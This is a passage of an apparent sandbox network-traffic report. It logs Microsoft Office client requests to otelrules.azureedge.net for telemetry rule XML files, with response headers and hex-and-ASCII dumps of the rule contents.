0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7fk9g8vhC1DFW825400000004z0000000009b6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:28 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-16547b76f7f9s8x7hC1DFWywrg00000003y000000000bere x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:28 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-16547b76f7ftfv4jhC1DFWuhug00000001vg000000003yuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:28 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 78f9d12a-601e-0070-27c4-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-1866b5c5fbbkcpv2hC1DFWf1yc0000000480000000009psh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-16547b76f7fht2hfhC1DFWbngg00000004hg00000000bu81 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:28 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-1866b5c5fbbtpjhjhC1DFWr6tw000000045g000000006ew7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:28 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-1866b5c5fbbkbjq9hC1DFWf1es0000000360000000005uy2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: acaa001d-f01e-0003-19b2-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-164f84587bfdl84ghC1DFWbbhc00000004cg000000009kze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-1866b5c5fbbfhwqqhC1DFW513800000003qg0000000045bc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:28 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113528Z-16547b76f7fjx5nrhC1DFW4dsc00000001b000000000bs2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-1866b5c5fbb5hnj5hC1DFW18sc000000049000000000d15t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-1866b5c5fbbxkz9hhC1DFWyd7000000000pg00000000ce75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 